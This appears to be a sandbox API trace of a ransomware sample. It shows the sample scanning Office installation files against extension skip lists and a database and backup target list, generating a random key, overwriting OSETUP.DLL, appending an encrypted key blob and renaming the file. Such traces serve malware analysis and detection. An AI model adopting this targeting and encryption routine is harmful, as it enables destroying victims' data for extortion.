	[0080.956] lstrlenW (lpString=".msp") returned 4
	[0080.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".msp") returned 0x0
	[0080.956] lstrlenW (lpString=".pif") returned 4
	[0080.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".pif") returned 0x0
	[0080.956] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.957] lstrlenW (lpString=".sqb") returned 4
	[0080.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".sqb") returned 0x0
	[0080.957] lstrlenW (lpString=".ost") returned 4
	[0080.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".ost") returned 0x0
	[0080.957] lstrlenW (lpString=".txt") returned 4
	[0080.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".txt") returned 0x0
	[0080.957] lstrlenW (lpString=".mdt") returned 4
	[0080.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".mdt") returned 0x0
	[0080.957] lstrlenW (lpString=".BDB") returned 4
	[0080.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".BDB") returned 0x0
	[0080.957] lstrlenW (lpString=".eql") returned 4
	[0080.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".eql") returned 0x0
	[0080.957] lstrlenW (lpString=".DBF") returned 4
	[0080.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DBF") returned 0x0
	[0080.958] lstrlenW (lpString=".EQL") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".EQL") returned 0x0
	[0080.958] lstrlenW (lpString=".FDB") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".FDB") returned 0x0
	[0080.958] lstrlenW (lpString=".EDB") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".EDB") returned 0x0
	[0080.958] lstrlenW (lpString=".DACPAC") returned 7
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.958] lstrlenW (lpString=".VHD") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".VHD") returned 0x0
	[0080.958] lstrlenW (lpString=".DBV") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DBV") returned 0x0
	[0080.958] lstrlenW (lpString=".dacpac") returned 7
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dacpac") returned 0x0
	[0080.958] lstrlenW (lpString=".sdf") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".sdf") returned 0x0
	[0080.958] lstrlenW (lpString=".accdb") returned 6
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".accdb") returned 0x0
	[0080.958] lstrlenW (lpString=".DBX") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DBX") returned 0x0
	[0080.958] lstrlenW (lpString=".MDT") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".MDT") returned 0x0
	[0080.958] lstrlenW (lpString=".SQB") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".SQB") returned 0x0
	[0080.958] lstrlenW (lpString=".vhd") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".vhd") returned 0x0
	[0080.958] lstrlenW (lpString=".bac") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".bac") returned 0x0
	[0080.958] lstrlenW (lpString=".mdf") returned 4
	[0080.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".mdf") returned 0x0
	[0080.958] lstrlenW (lpString=".BAK") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".BAK") returned 0x0
	[0080.959] lstrlenW (lpString=".BAC") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".BAC") returned 0x0
	[0080.959] lstrlenW (lpString=".dbs") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dbs") returned 0x0
	[0080.959] lstrlenW (lpString=".vhdx") returned 5
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".vhdx") returned 0x0
	[0080.959] lstrlenW (lpString=".NDF") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".NDF") returned 0x0
	[0080.959] lstrlenW (lpString=".dat") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dat") returned 0x0
	[0080.959] lstrlenW (lpString=".DBS") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DBS") returned 0x0
	[0080.959] lstrlenW (lpString=".CKP") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".CKP") returned 0x0
	[0080.959] lstrlenW (lpString=".edb") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".edb") returned 0x0
	[0080.959] lstrlenW (lpString=".PST") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".PST") returned 0x0
	[0080.959] lstrlenW (lpString=".dbf") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dbf") returned 0x0
	[0080.959] lstrlenW (lpString=".SQL") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".SQL") returned 0x0
	[0080.959] lstrlenW (lpString=".pst") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".pst") returned 0x0
	[0080.959] lstrlenW (lpString=".dbv") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dbv") returned 0x0
	[0080.959] lstrlenW (lpString=".SDF") returned 4
	[0080.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".SDF") returned 0x0
	[0080.960] lstrlenW (lpString=".dtxs") returned 5
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dtxs") returned 0x0
	[0080.960] lstrlenW (lpString=".db3") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".db3") returned 0x0
	[0080.960] lstrlenW (lpString=".OST") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".OST") returned 0x0
	[0080.960] lstrlenW (lpString=".dbx") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dbx") returned 0x0
	[0080.960] lstrlenW (lpString=".DB3") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DB3") returned 0x0
	[0080.960] lstrlenW (lpString=".DAT") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DAT") returned 0x0
	[0080.960] lstrlenW (lpString=".VHDX") returned 5
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".VHDX") returned 0x0
	[0080.960] lstrlenW (lpString=".ndf") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".ndf") returned 0x0
	[0080.960] lstrlenW (lpString=".DB") returned 3
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DB") returned 0x0
	[0080.960] lstrlenW (lpString=".sql") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".sql") returned 0x0
	[0080.960] lstrlenW (lpString=".MYD") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".MYD") returned 0x0
	[0080.960] lstrlenW (lpString=".DBT") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DBT") returned 0x0
	[0080.960] lstrlenW (lpString=".ACCDB") returned 6
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.960] lstrlenW (lpString=".fdb") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".fdb") returned 0x0
	[0080.960] lstrlenW (lpString=".bak") returned 4
	[0080.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".bak") returned 0x0
	[0080.960] lstrlenW (lpString=".myd") returned 4
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".myd") returned 0x0
	[0080.961] lstrlenW (lpString=".DTXS") returned 5
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".DTXS") returned 0x0
	[0080.961] lstrlenW (lpString=".ckp") returned 4
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".ckp") returned 0x0
	[0080.961] lstrlenW (lpString=".dbt") returned 4
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".dbt") returned 0x0
	[0080.961] lstrlenW (lpString=".db") returned 3
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".db") returned 0x0
	[0080.961] lstrlenW (lpString=".TXT") returned 4
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".TXT") returned 0x0
	[0080.961] lstrlenW (lpString=".MDF") returned 4
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".MDF") returned 0x0
	[0080.961] lstrlenW (lpString=".bdb") returned 4
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".bdb") returned 0x0
	[0080.961] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.961] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.962] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.962] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20095255765) returned 1
	[0080.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a1c3d30, dwHighDateTime=0x1d60e1e)) 
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa740
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa740 | out: hHeap=0x300000) returned 1
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.963] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.963] GetLastError () returned 0x0
	[0080.963] GetLastError () returned 0x0
	[0080.963] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.963] GetLastError () returned 0x0
	[0080.963] GetLastError () returned 0x0
	[0080.964] ReadFile (in: hFile=0x128, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.968] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.968] WriteFile (in: hFile=0x128, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0080.969] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.970] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.974] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.974] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.974] CloseHandle (hObject=0x128) returned 1
	[0080.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.974] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.~~~~")) returned 1
	[0080.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0080.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.975] GetLastError () returned 0x0
	[0080.975] RtlWakeConditionVariable () returned 0x365f70
	[0080.975] GetCurrentThreadId () returned 0xaf0
	[0080.975] GetCurrentThreadId () returned 0xaf0
	[0080.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa8d8 | out: hHeap=0x300000) returned 1
	[0080.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa708 | out: hHeap=0x300000) returned 1
	[0080.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0080.975] lstrlenW (lpString=".scr") returned 4
	[0080.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll", lpSrch=".scr") returned 0x0
	[0080.975] lstrlenW (lpString=".cmd") returned 4
	[0080.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll", lpSrch=".cmd") returned 0x0
	[0080.975] lstrlenW (lpString=".dll") returned 4
	[0080.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll", lpSrch=".dll") returned=".dll"
	[0080.975] lstrlenW (lpString=".dll") returned 4
	[0080.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0a88 | out: hHeap=0x300000) returned 1
	[0080.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0080.975] RtlWakeConditionVariable () returned 0x365f70
	[0080.975] GetCurrentThreadId () returned 0xaf0
	[0080.975] GetCurrentThreadId () returned 0xaf0
	[0080.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0080.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fadf8 | out: hHeap=0x300000) returned 1
	[0080.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa890 | out: hHeap=0x300000) returned 1
	[0080.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0080.975] lstrlenW (lpString=".scr") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".scr") returned 0x0
	[0080.976] lstrlenW (lpString=".cmd") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".cmd") returned 0x0
	[0080.976] lstrlenW (lpString=".dll") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dll") returned 0x0
	[0080.976] lstrlenW (lpString=".bat") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".bat") returned 0x0
	[0080.976] lstrlenW (lpString=".cpl") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".cpl") returned 0x0
	[0080.976] lstrlenW (lpString=".sys") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".sys") returned 0x0
	[0080.976] lstrlenW (lpString=".msc") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".msc") returned 0x0
	[0080.976] lstrlenW (lpString=".com") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".com") returned 0x0
	[0080.976] lstrlenW (lpString=".lnk") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".lnk") returned 0x0
	[0080.976] lstrlenW (lpString=".msp") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".msp") returned 0x0
	[0080.976] lstrlenW (lpString=".pif") returned 4
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".pif") returned 0x0
	[0080.976] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.977] lstrlenW (lpString=".sqb") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".sqb") returned 0x0
	[0080.977] lstrlenW (lpString=".ost") returned 4
